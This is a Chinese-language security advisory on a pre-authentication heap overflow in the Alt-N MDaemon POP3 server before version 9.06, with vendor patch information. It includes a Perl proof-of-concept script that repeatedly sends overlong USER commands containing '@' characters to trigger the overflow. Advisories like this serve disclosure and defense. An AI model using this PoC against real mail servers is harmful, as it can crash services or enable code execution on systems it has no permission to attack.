首页 -> 安全研究

安全研究

安全漏洞
MDaemon POP3服务器预认证远程溢出漏洞

发布日期:2006-08-21
更新日期:2006-08-23

受影响系统:
Alt-N MDaemon < 9.06
不受影响系统:
Alt-N MDaemon 9.06
描述:
BUGTRAQ  ID: 19651

Alt-N MDaemon是一款基于Windows的邮件服务程序。

MDaemon POP3服务器在处理USER和APOP命令时存在缓冲区溢出漏洞。如果向USER或APOP命令发送了包含有“@”字符的超长字符串的话,就会触发这个漏洞,导致堆溢出。如果要利用这个漏洞,必须向POP3服务器发送多个USER命令。成功利用这个漏洞的攻击者可能会执行任意代码,具体取决于堆的状态及字符串的长度。

<*来源:Leon Juranic (ljuranic@LSS.hr
        Sasa Jusic (sasa.jusic@infigo.hr
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115626115116358&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr>
# Infigo IS <http://www.infigo.hr>
#
#

$host = '192.168.0.105';

use IO::Socket;

for ($x = 0 ; $x < 12 ; $x++)
{
    $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp')
    || die "socket error\n\n";
    recv ($sock, $var, 10000,0);
    print $var;
    print $sock "USER " . "\@A" x 160 . "\r\n";
    recv ($sock, $var, 10000,0);
    print $var;
    print $sock "QUIT\r\n";
    recv ($sock, $var, 10000,0);
    print $var;
    close ($sock);
    sleep(1);
}
    $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp')
    || die "socket error\n\n";
    recv ($sock, $var, 10000,0);
    print $var;
    print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
    recv ($sock, $var, 10000,0);
    print $var;
    print $sock "USER " . "\'A" x  337 . "\r\n";
    recv ($sock, $var, 10000,0);
    print $var;
    sleep(2);

建议:
厂商补丁:

Alt-N
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.altn.com

浏览次数:3463
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障